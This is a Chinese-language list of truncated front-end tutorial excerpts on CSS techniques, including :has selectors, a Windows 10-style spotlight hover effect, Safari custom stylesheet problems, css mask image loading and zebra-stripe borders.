如何利用 css 选中激活标签并影响相邻元素? 为了实现激活标签影响相邻元素的样式需求,可以通过 :has 选择器来实现。以下是如何具体操作: 对于激活标签相邻后的元素,可以在 css 中使用以下代码进行设置: li:has(+li.active) { border-radius: 0 0 10px…
win10设置界面的鼠标移动显示周边的样式(探照灯效果)的实现方式 在windows设置界面的鼠标悬浮效果中,光标周围会显示一个放大区域。在前端开发中,可以通过多种方式实现类似的效果。 使用css 使用css的transform和box-shadow属性。通过将transform: scale(1.…
Win10设置界面中的鼠标移动探照灯效果实现指南 想要在前端开发中实现类似于Windows 10设置界面的鼠标移动探照灯效果,有两种解决方案:CSS 和 HTML/JS 组合。 CSS 实现 不幸的是,仅使用CSS无法完全实现该效果。 立即学习“前端免费学习笔记(深入)”; HTML/JS 实现 要…
为什么在 Safari 中自定义样式表未能正常工作? 在 Safari 的偏好设置中设置自定义样式表后,您对其进行测试却发现效果不同。在您自己的网页中,样式有效,而在百度页面中却失效。 造成这种情况的原因是,第一个访问的项目使用了文件协议,可以访问本地目录中的图片文件。而第二个访问的百度使用了 ht…
如何在前端实现 Windows 10 设置界面中的鼠标移动探照灯效果 想要在前端开发中实现 Windows 10 设置界面中类似的鼠标移动探照灯效果,可以通过以下途径: CSS 解决方案 DEMO 1: Windows 10 网格悬停效果:https://codepen.io/tr4553r7/pe…
探索在前端中实现 Windows 10 设置界面鼠标移动时的探照灯效果 在前端开发中,鼠标悬停在元素上时需要呈现类似于 Windows 10 设置界面所展示的探照灯效果,这其中涉及到了元素外围显示光圈效果的技术实现。 CSS 实现 虽然 CSS 无法直接实现探照灯效果,但可以通过以下技巧营造出类似效…
css mask属性未能加载图片的解决方法 使用css mask属性指定图片url时,如示例中所示: mask: url(“https://api.iconify.design/mdi:apple-icloud.svg”) center / contain no-repeat; 但是,在网络面板中却…
为元素添加时尚的斑马线边框 在网页设计中,有时我们需要添加时尚的边框来提升元素的视觉效果。其中,斑马线边框是一种既醒目又别致的设计元素。 实现斜向斑马线边框 要实现斜向斑马线间隔圆环,我们可以使用css paint api。该api提供了强大的功能,可以让我们在元素上绘制复杂的图形。 立即学习“前端…
如何让图片不撑高父容器? 当父容器包含不同高度的子元素时,父容器的高度通常会被最高元素撑开。如果你希望父容器的高度由文本内容撑开,避免图片对其产生影响,可以通过以下 css 解决方法: 绝对定位元素: .child-image { position: absolute; top: 0; left: …
自定义样式表在 safari 中失效的原因 用户尝试在 safari 偏好设置中添加自定义样式表,代码如下: body { background-image: url(“/users/luxury/desktop/wallhaven-o5762l.png”) !important;} 测试后发现,在…